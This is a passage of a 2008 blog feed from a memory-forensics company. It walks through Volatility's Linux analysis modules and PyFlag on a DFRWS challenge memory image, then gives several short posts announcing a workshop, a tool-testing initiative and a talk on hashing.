&lt;br id="xk0r0"&gt;       &lt;/b&gt;&lt;b id="q97n"&gt;linident/lindatetime&lt;br id="q97n0"&gt;       &lt;br id="q97n1"&gt;       &lt;/b&gt;The linident module is used to provide valuable information about the system the memory sample was acquired from.  This module provides similar information to the crash sys command but it has been augmented to include timezone information, which we have found useful during temporal reconstruction.  As seen the the following output the local timezone for the system was GMT-5. It also provides the GMTDATE corresponding to when the sample was acquired.  The current time and timezone information can also be obtained from the lindatetime module as well.&lt;br id="q97n2"&gt;       &lt;br id="q97n3"&gt;       $python volatility linident -f challenge.mem  -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5.map&lt;b id="mh0u"&gt;&lt;br id="q97n5"&gt;       &lt;/b&gt;&lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linident.txt" id="o3o_" title="output"&gt;output&lt;/a&gt; &lt;b id="z2-."&gt;&lt;br id="q97n6"&gt;       &lt;br id="sjpn"&gt;       linps&lt;br id="sjpn0"&gt;       &lt;br id="sjpn1"&gt;       &lt;/b&gt;We also provide a module that will extract what processes were running on the system when the sample was acquired. We have augmented this to also include the UID of the process owner.  By combining this with the strings to process mapping provided by linstrings we are able to attribute those strings to a particular user.  For example by correlating with the environment information previously discussed ( or if /etc/passwd was available) we know any process with UID 501 can be attributed to user stevev.  We also know that any strings mapping to those process are related to that user as well.&lt;br id="wudu"&gt;       &lt;br id="wudu0"&gt;       python volatility linps -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;br id="bakj1"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linps.txt" id="j3na" title="output"&gt;output&lt;/a&gt;&lt;br id="exe1"&gt;       &lt;br id="exe10"&gt;       &lt;b id="z39y"&gt;linpsscan&lt;br id="z39y0"&gt;       &lt;br id="z39y1"&gt;       &lt;/b&gt;We have also included linpsscan which makes use of the Volatility scanning framework.  Unlike linps which traverses the operating system data structures to find the processes that were running on the system, this modules performs a linear scan of the physical memory sample while searching for task_struct objects which it treats as a constrained data item. These contraints were automatically developed by sampling valid task_structs from the memory sample. The benefits associated with this technique can be seen in the fact that the previous module, linps, was only able to enumerate 89, while linpsscan found 10 more with the physical address space. We have also included the UID so each task_struct could be mapped back to a user.&lt;br id="b_o0"&gt;       &lt;br id="b_o00"&gt;       python volatility linpsscan -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;b id="b_o01"&gt;&lt;br id="nvr6"&gt;       &lt;/b&gt;&lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linpsscan.txt" id="bjkn" title="output"&gt;output&lt;/a&gt; &lt;b id="gu99"&gt;&lt;br id="pvuk3"&gt;       &lt;/b&gt;&lt;br id="uy-21"&gt;       &lt;b id="pvuk5"&gt;linmemdmp&lt;br id="uy-22"&gt;       &lt;br id="uy-23"&gt;       &lt;/b&gt;We also created a module called linmemdmp.  This module automatically rebuilds the address space for a specified process and dumps its entire addressable memory to a file for further analysis. This can be extremely useful if you are attempting a brute force encryption keys (ie SSL) or you want to add some context to your string searches. The process to be dumped can be specified by either a PID (-P) or task_struct physical memory offset (-o) depending on whether it was discovered with linps, or linpsscan, respectively..&lt;br id="hwcx"&gt;       &lt;br id="hwcx0"&gt;       python volatility linmemdmp -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5  -P 3048&lt;b id="hwcx1"&gt;&lt;br id="h4fl9"&gt;       &lt;br id="f411"&gt;       linpktscan&lt;br id="ng9s"&gt;       &lt;br id="ng9s0"&gt;       &lt;/b&gt;We also created a linpktscan module that performs a linear scan of the sample of physical memory looking for memory resident network packets. This module makes use of the Volatility generic scanning framework to describe network packets as constrained data items. The current implementation constrains the sought after data to either UDP or TCP packets with a header of minimum length that has a valid IP header checksum.  Another nice feature of this module is that it also allows the investigator to extract those packets from memory and write them to a pcap file that can then be imported into their favorite packet analysis tool (ie Wireshark).  &lt;br id="vqsw"&gt;       &lt;br id="vqsw0"&gt;       python volatility linpktscan -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py  -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;br id="bpxd"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linpktscan.txt" id="o73-" title="output"&gt;output&lt;/a&gt;&lt;br id="j_im"&gt;       &lt;br id="j_im0"&gt;       Using this module on the memory sample provided in the challenge, we were able to see that the system had recently communicated with the following IP addresses over http: 219.93.175.67, 198.105.193.114.  Of particular interest are the packets being sent to the 219.93.175.67 address.  This was the address where the zip file was exfiltrated using http cookies. By using linpktscan we are able to find and extract memory resident packets with cookies containing parts of the exfiltrated data. Thus we are able to connect the data in the pcap files back to the system.&lt;br id="ux2g"&gt;       &lt;br id="ux2g0"&gt;       On another interesting note, we are also able to extract FTP packets flowing between 10.2.0.2 and 10.2.0.1. These memory resident packets were part of the ftp.pcap file that was exfiltrated.  Thus we know that at some point this file was loaded into memory on the system.&lt;br id="ux2g1"&gt;       &lt;br id="o39o"&gt;       &lt;b id="ir47"&gt;linvm&lt;br id="rs.8"&gt;       &lt;br id="h05x"&gt;       &lt;/b&gt;This module will display the virtual memory mappings for each process. This provides information analogous to that typically found by the maps file in the /proc entry for the process.  This can be extremely useful for determining which files maybe memory mapped by a process and where they can be found within memory.  This can be extremely helpful for determining how the address space is being used. We have also augmented the output to include information about the code, data, and stack regions of a processes virtual address space in case an investigator wants to extract them from memory as well.&lt;b id="h05x0"&gt;&lt;br id="rs.80"&gt;       &lt;br id="vmwh"&gt;       &lt;/b&gt;python volatility linvm -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;br id="h12l"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linvm.txt" id="su3b" title="output"&gt;output&lt;/a&gt;&lt;br id="t_94"&gt;       &lt;b id="ksp_"&gt;&lt;br id="vmwh0"&gt;       linsockets&lt;br id="t87e"&gt;       &lt;br id="t87e0"&gt;       &lt;/b&gt;We have also included a module linsockets which can be used to extract information about each task's open sockets. As previously mentioned this can be useful for determining if there are any open connections with other systems or if the system is listening on any unexpected ports and if so which process is responsible.&lt;br id="m.5g"&gt;       &lt;br id="m.5g0"&gt;       python volatility linsockets -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;br id="m.5g1"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linsockets.txt" id="d853" title="output"&gt;output&lt;/a&gt;&lt;br id="vmwh1"&gt;       &lt;b id="k9e3"&gt;&lt;br id="eij2"&gt;       linfiles&lt;br id="l13v"&gt;       &lt;br id="l13v0"&gt;       &lt;/b&gt;We are also able to extract the open files associated with the context of each task. As previously mentioned, this can often provide valuable leads to target files or directories of interest when dealing with large disk images.&lt;br id="eij20"&gt;       &lt;b id="eq1s"&gt;&lt;br id="rxh7"&gt;       &lt;/b&gt;python volatility linfiles -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;b id="r:nd"&gt;&lt;br id="eij21"&gt;       &lt;/b&gt;&lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linfiles.txt" id="g:kz" title="output"&gt;output&lt;/a&gt; &lt;b id="e:o8"&gt;&lt;br id="g-e2"&gt;       &lt;br id="g-e20"&gt;       linmodules&lt;br id="g-e21"&gt;       &lt;br id="g-e22"&gt;       &lt;/b&gt;The final module which we have included is linmodules.  This will print basic information about the currently loaded kernel modules.  This allows an investigator to determine if anyone may have attempted to load a kernel module to dynamically change the behavior of the kernel. &lt;br id="iwsn"&gt;       &lt;br id="iwsn0"&gt;       python volatility linmodules -f challenge.mem -p profiles/2_6_18-8_1_15_el5/centos-2.6.18-8.1.15.el5.types.py -s profiles/2_6_18-8_1_15_el5/System.map-2.6.18-8.1.15.el5&lt;br id="iwsn1"&gt;       &lt;a href="http://www.4tphi.net/%7Eawalters/dfrws2008/output/linmodules.txt" id="mctg" title="output"&gt;output&lt;/a&gt;&lt;br id="tp_5"&gt;       &lt;br id="tp_50"&gt;       As you can see, Volatility provides a powerful software architecture that allows it to be easily adapted to whatever type of hardware or operating system the investigator needs to analyze. It also provides extremely useful APIs and libraries that allow investigators quickly create new modules to support their investigations and to easily share those modules with colleagues.  We are also finishing up code that will allow you to run PyKdump scripts transparently within both crash or Volatility.  Another advantage of Volatility is that it allows allows the analyst perform their investigations on any operating system which supports Python. Thus we believe that Volatility allows us to achieve our goals of leveraging previous work in kernel debugging while being applicable to a broad range of systems.  Finally, Volatility is currently integrated into a number of analysis frameworks including both PTK and PyFlag.&lt;br id="n56l"&gt;       &lt;br id="tp_54"&gt;       &lt;b id="tp_55"&gt;PyFlag Memory Analysis&lt;/b&gt;&lt;br id="tp_56"&gt;       &lt;br id="tp_57"&gt; &lt;a title="PyFlag" href="http://www.pyflag.net" id="kt58"&gt;PyFlag&lt;/a&gt; has officially supported memory forensics since it's integration of Volatility in January of 2008. Thus allowing an investigator to correlate disk images, log files, network traffic, and memory samples all within an intuitive interface. It was also the first framework to support analysis of memory samples stored in either EWF or AFF formats.  In this section, we will discuss how with the upcoming release of Volatility 1.3 this integration has been extend so that PyFlag now has the ability to support the analysis of both Linux and Windows memory samples.  This functionality will be briefly discussed on the memory sample included in the challenge.&lt;br id="rtk1"&gt; &lt;br id="x5e:0"&gt;       In order to analyze a memory sample with PyFlag, the sample must be loaded.  This is accomplished by choosing the Load IO Data Source menu item found under the Load Data Tab at the top of the screen. At the Load IO Data Source page set the "Select IO Subsystem" to standard and leave the "Evidence Timezone" to SYSTEM. At the next "Load IO Data Source" page once again set the "Select IO Subsystem" to Standard and leave the "Evidence Timezone" to SYSTEM. Depending on whether your image can be found on disk or the Virtual File System, click either the finger pointing to the folder or the VFS files, respectively.  Having already loaded the evidence file, we will search for the memory sample within the VFS.  Thus we click on the VFS folder.  At this point we will be presented with a table listing all the files in the VFS.  In order to find the file we are looking for, challenge.mem, we click the funnel in the upper left hand corner of the window which will allow us to filter the table.  At the Filter Table pop-up screen type, ("Filename" contains challenge) into the Search Query dialog box.  Then, click the submit button at the bottom.  At this point you  should see the challenge sample in the table. After choosing the sample you will be returned to the Load IO Data Source page. Fill in the "Enter partition offset:" box with a zero and the "Unique Data Load ID" box with "mem".&lt;br id="usba"&gt;        &lt;div id="w97x" style="padding: 1em 0pt; text-align: left;"&gt;          &lt;div id="jvod" style="padding: 1em 0pt; text-align: center;"&gt;           &lt;img id="ck9t" src="http://docs.google.com/File?id=d3wr75p_1f4mgwcgj_b" style="width: 602px; height: 314px;"&gt;         &lt;/div&gt;         Now click the Submit button in the lower left had corner of the windows.  You will now be brought to the "Load Filesystem image" screen.  Verify that the "Case" value is set to dfrws and the "Select IO Data Source" matches the value you entered for "Unique Data Load ID" on the previous screen.  Then set the "Enter Filesystem type" drop down to "Linux Memory" and choose a mount point (ie memmnt) for the "VFS Mount Point" entry box.&lt;br id="usba0"&gt;       &lt;/div&gt;        &lt;div id="lkfc" style="padding: 1em 0pt; text-align: center;"&gt;         &lt;img id="ifvt" src="http://docs.google.com/File?id=d3wr75p_2g584tcfz_b" style="width: 312px; height: 270px;"&gt;       &lt;/div&gt;       Next click the Submit button at the lower left hand of the screen.  At this point you will be prompted to choose a Volatility profile.  Select the 2_6_18-8_1_15_el5 "Profile" from the drop down menu and click the Submit button again. Next you will be presented with another drop down menu to select a "Symbol Map". Select System.map-2.6.18-8.1.15.el5.map from the drop downs.&lt;br id="vj9n"&gt;        &lt;div id="htp2" style="padding: 1em 0pt; text-align: center;"&gt;         &lt;img id="n:u." src="http://docs.google.com/File?id=d3wr75p_3cjs7t8ff_b" style="width: 420px; height: 323px;"&gt;       &lt;/div&gt;       Once the System Map is selected, select the Submit button on the lower left had corner again. At this point it will begin to load the sample into the system.  When it is finished loading you will return to the "Browsing Virtual Filesystem" windows and your sample will be mounted at the specified "VFS Mount Point", which in our example is memmnt. Now that our memory sample has been loaded you can access the data through a browseable /proc interface or through the "Memory Forensics" menu item at the top of the screen.&lt;br id="zbtu0"&gt;        &lt;div id="s.n6" style="padding: 1em 0pt; text-align: center;"&gt;         &lt;img id="nsay" src="http://docs.google.com/File?id=d3wr75p_4cg3cbgg8_b" style="width: 614px; height: 478px;"&gt;       &lt;/div&gt;       On the other hand, you can also access the data through the "Memory Forensics" menu item at the top of the page as seen in the following image.&lt;br id="qn4l"&gt;       &lt;br id="qn4l0"&gt;        &lt;div id="d.-4" style="padding: 1em 0pt; text-align: center;"&gt;         &lt;img id="x690" src="http://docs.google.com/File?id=d3wr75p_5dk5r53df_b" height="94" width="683"&gt;       &lt;/div&gt;       By clicking on a linked address it will automatically perform the address translation and take you to the correct offset within the physical address space.  As we previously mentioned we can also run PyFlags &lt;a title="award winning" href="http://www.dfrws.org/2007/challenge/results.shtml" id="wjy3"&gt;award winning&lt;/a&gt; collection of carvers against the loaded sample.&lt;br id="xl6j"&gt; &lt;p class="line874" id="lfsw1"&gt;       &lt;/p&gt;        &lt;p class="line867" id="enzd13"&gt;       &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-5642944116992872325?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/5642944116992872325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=5642944116992872325&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5642944116992872325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5642944116992872325'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/07/linux-memory-analysis-one-of-major.html' title='Linux Memory Forensics'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-5990101572841199325</id><published>2008-07-04T11:50:00.000-07:00</published><updated>2008-07-04T11:59:33.283-07:00</updated><title type='text'>Independence Day: The Emancipation of Volatile</title><content type='html'>Today is truly a day to celebrate independence!  As of today, Volatile Systems LLC is now free of any contractual agreements which had the ability to limit our business opportunities and technology advancement.  Our year long sabbatical has officially ended.  As a result, this will allow us to fully integrate the research we have done over the past five years in the areas of memory forensics and rootkit detection (i.e. &lt;a href="http://www.4tphi.net/fatkit/papers/fatkit_journal.pdf"&gt;FATKit: Memory Forensics&lt;/a&gt;, &lt;a href="http://www.4tphi.net/fatkit/papers/fatkit_dll_rc3.pdf"&gt;Malware Analysis: DLL Injection Detection&lt;/a&gt;, &lt;a href="http://www.usenix.org/events/sec06/tech/petroni.html"&gt;Semantic Integrity&lt;/a&gt;, &lt;a href="http://doi.ieeecomputersociety.org/10.1109/IWIA.2004.1288039"&gt;Enterprise Rootkit Detection&lt;/a&gt;.  This includes all technology which we may have previously licensed to third parties. While others were creating and selling the rootkits responsible for millions of dollars in damages to government and commercial organizations, our team was focused on performing the research necessary to address these threats using memory analysis.  Get ready for the real next generation of memory forensics and always remember that "Integrity Matters"!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-5990101572841199325?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/5990101572841199325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=5990101572841199325&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5990101572841199325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/5990101572841199325'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/07/independence-day-emancipation-of.html' title='Independence Day: The Emancipation of Volatile'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-2846191605140627684</id><published>2008-06-15T20:13:00.000-07:00</published><updated>2008-06-15T20:19:53.640-07:00</updated><title type='text'>Memory Forensics Tool Testing</title><content type='html'>&lt;a href="https://www.volatilesystems.com/"&gt;Volatile Systems LLC&lt;/a&gt; is pleased to announce the Memory Forensics Tool Testing initiative.  With the growing number of memory acquisition tools that have recently been made available,  Volatile Systems has begun establishing a team of industry experts to objectively evaluate these tools. As with other &lt;a href="http://www.cftt.nist.gov/"&gt;computer forensic tool testing efforts (CFTT)&lt;/a&gt;, the goal of this project is to develop an open methodology and metrics for testing memory acquisition tools. The hope is to help drive memory forensics tools to improve and help users make informed decisions.&lt;br /&gt;&lt;br /&gt;Over the last five years, the Volatile Systems team has built numerous hardware and software acquisition methods and, as a result, has the unique combination of institutional knowledge and technical capabilities necessary to effectively lead this effort.  We have also chosen a respected team of industry experts to help ensure the validity and objectivity of our testing methodology. As the leading provider of memory forensic analysis services, we are committed to helping our customers and the community at large find the best solutions to suit their memory acquisition needs.  If you would like to take part in this project or feel you have insight that could be valuable, please feel free to contact us. We also extend this invitation to vendors who want to make sure that we are evaluating their latest offerings. The MFTT initiative will be a major topic on the &lt;a href="http://volatilesystems.blogspot.com/2008/05/open-memory-forensics-workshop-omfw.html"&gt;OMFW&lt;/a&gt; agenda!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-2846191605140627684?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/2846191605140627684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=2846191605140627684&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/2846191605140627684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/2846191605140627684'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/06/memory-forensics-tool-testing.html' title='Memory Forensics Tool Testing'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-1056998136726006367</id><published>2008-05-30T13:18:00.001-07:00</published><updated>2008-05-30T13:26:54.897-07:00</updated><title type='text'>Open Memory Forensics Workshop (OMFW)</title><content type='html'>Volatile memory forensics (ie., RAM forensics) is becoming an extremely important topic to the future of digital investigations. It has the potential to dramatically transform the way we currently perform digital investigations and help address many of the challenges currently facing the digital forensics community.&lt;br /&gt;&lt;br /&gt;We are pleased to announce the first ever workshop focused on open source volatile memory analysis. This workshop will bring together digital investigation researchers and practitioners to discuss the latest advancements in volatile memory analysis. You will also learn how memory analysis is currently being used to augment digital investigations. Through a series of invited talks and panel discussions you will have the opportunity to engage this exciting community.&lt;br /&gt;&lt;br /&gt;This half-day workshop will be co-located with &lt;a href="http://www.dfrws.org/2008/"&gt;Digital Forensics Research Workshop (DFRWS) 2008&lt;/a&gt; in Baltimore, Maryland, USA, on August 10, 2008. Pre-registration is required and space is limited, so register early. Please note that it will not be possible to register at the door. Reserve your seat by contacting: AAron Walters (awalters [at] 4tphi [dot] net). We are also still seeking individuals with interesting insights who would like to participate as a speaker or panelist.&lt;br /&gt;&lt;br /&gt;Join with industry leaders to discuss the latest advancements in memory forensics and the importance of open source initiatives. This is your opportunity to help shape the future of memory forensics!&lt;br /&gt;&lt;br /&gt;Invited speakers and panelists include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Dr. Brian Carrier (Basis Technology)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Eoghan Casey (Stroz Friedberg, LLC)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Dr. Michael Cohen (Australian Federal Police)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Brian Dykstra (Jones Dykstra &amp; Associates)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Brendan Dolan-Gavitt (Georgia Institute of Technology)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Matthew Geiger (CERT)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Keith Jones (Jones Dykstra &amp; Associates)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Jesse Kornblum (ManTech)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;Andreas Schuster (Deutsche Telekom AG)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;AAron Walters (Volatile Systems, LLC)&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;More to be announced......&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Brought to you by the &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility Team: Open Source Memory Forensics.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-1056998136726006367?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/1056998136726006367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=1056998136726006367&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/1056998136726006367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/1056998136726006367'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/05/open-memory-forensics-workshop-omfw.html' title='Open Memory Forensics Workshop (OMFW)'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-7338371964588123359</id><published>2008-03-15T18:10:00.000-07:00</published><updated>2008-11-13T08:09:42.623-08:00</updated><title type='text'>Using Hashing to Improve Volatile Memory Forensic Analysis</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sLNlb50o4n4/R9xz-DtiE2I/AAAAAAAAABk/LQ1Gf9ymB38/s1600-h/aafs_slides.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_sLNlb50o4n4/R9xz-DtiE2I/AAAAAAAAABk/LQ1Gf9ymB38/s320/aafs_slides.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5178141181554594658" /&gt;&lt;/a&gt;&lt;br /&gt;I wanted take this opportunity to thank everyone who attended our presentation, "&lt;a href="http://www.4tphi.net/fatkit/papers/aw_AAFS_pubv2.pdf"&gt;Using Hashing to Improve Volatile Memory Forensic Analysis&lt;/a&gt;", at the &lt;a href="http://www.aafs.org/"&gt;American Academy of Forensic Sciences&lt;/a&gt; 60th Annual Meeting on February 21, 2008 Washington, D.C.. This was joint work with my colleague Blake Matheny and Doug White from the &lt;a href="http://www.nsrl.nist.gov/"&gt;National Institute of Standards and Technology, NIST&lt;/a&gt;. The American Academy of Forensic Sciences does a lot of great work furthering the application of science and law. I'm glad to see their renewed interest in the area of digital forensic sciences.  In particular, I was encouraged that our peers in the forensic sciences community were able recognize the importance of volatile memory analysis to the future of digital investigations. I believe this is an extremely important step!&lt;br /&gt;&lt;br /&gt;I also wanted to take this opportunity to thank our friends at NIST, especially Doug White and John Tebbutt, for all their help with this research. With their help, we are creating a standard reference data set to support the needs of the growing community of volatile memory analysts. A special thanks also goes to Jide for all his help and thoughtful discussions!&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.4tphi.net/fatkit/papers/aw_AAFS_pubv2.pdf"&gt;slides&lt;/a&gt; from the AAFS presentation are now available.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-7338371964588123359?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/7338371964588123359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=7338371964588123359&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/7338371964588123359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/7338371964588123359'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/03/using-hashing-to-improve-volatile.html' title='Using Hashing to Improve Volatile Memory Forensic Analysis'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_sLNlb50o4n4/R9xz-DtiE2I/AAAAAAAAABk/LQ1Gf9ymB38/s72-c/aafs_slides.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-6427813257519660853</id><published>2008-02-02T11:08:00.000-08:00</published><updated>2008-11-13T08:09:43.651-08:00</updated><title type='text'>It's about time...</title><content type='html'>As we mentioned in a previous blog post and in our presentations, we have recently been focusing our attention on the Reconstruction Phase of the digital investigation process.   During the Reconstruction Phase, a digital investigator will attempt to organize the analysis results to help develop a theory about what happened during an incident. One method investigators have traditionally used to organize file system analysis is to elucidate the temporal relationships between digital artifacts. This technique is referred to as temporal reconstruction. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.fish2.com/security/"&gt;Dan Farmer&lt;/a&gt; demonstrated the usefulness of temporal reconstruction of filesystem events with the '&lt;a href="http://www.ddj.com/windows/184404275"&gt;mactime&lt;/a&gt;' program.  In fact, he called mactime "the most potentially valuable forensic tool in your digital detective toolkit" &lt;a href="http://www.ddj.com/windows/184404275"&gt;(Farmer, 2000)&lt;/a&gt;. Rob Lee eventually extended this work with the 'mac_daddy' program and finally these tools were combined by &lt;a href="http://www.digital-evidence.org/"&gt;Brian Carrier&lt;/a&gt; into the &lt;a href="http://www.sleuthkit.org/"&gt;SleuthKit's&lt;/a&gt; versions of 'mactime' and '&lt;a href="http://www.sleuthkit.org/mac-robber/desc.php"&gt;mac-robber'&lt;/a&gt;.  Recently, &lt;a href="https://users.cs.jmu.edu/buchhofp/"&gt;Florian Buchholz&lt;/a&gt; has also done a lot of interesting research exploring the characteristics of these temporal relationships and demonstrating the value of being able to combine disparate data sources, &lt;a href="http://projects.cerias.purdue.edu/forensics/timeline.php"&gt;Zeitline&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;In this blog entry, we will demonstrate how digital artifacts extracted from volatile memory analysis can be combined with artifacts from file system analysis to help reconstruct a more complete understanding of the digital crime scene.   In fact, volatile memory analysis often provides the context necessary to link seemingly disparate events and their related artifacts, in ways that are not possible with typical live response tools. Using these temporal relationships, we have also been able to develop "temporal incident patterns" allowing us to quickly discern tools and techniques that may have been involved in an incident based on their "temporal footprints". We have also found that the ability to visualize these temporal relationships is invaluable for both presentation and knowledge discovery.  &lt;br /&gt;&lt;br /&gt;The following images will help demonstrate how a digital investigator can use both volatile memory analysis and visualization to improve temporal reconstructions of the digital crime scene. The file system events used to populate the time line in the images were generated using the Sleuthkit's 'mactime' program.  These instantaneous events are represented in the image with blue dots and relate to the time attributes (LastWriteTime, LastAccessTime, CreationTime, etc) associated with files and directories in a file system, MACtimes. The following image is a visual time line representation of a filtered set of file system events.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sLNlb50o4n4/R6TBvqI-x3I/AAAAAAAAAA8/W8ZZnBnpQQI/s1600-h/Timeline_file.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" 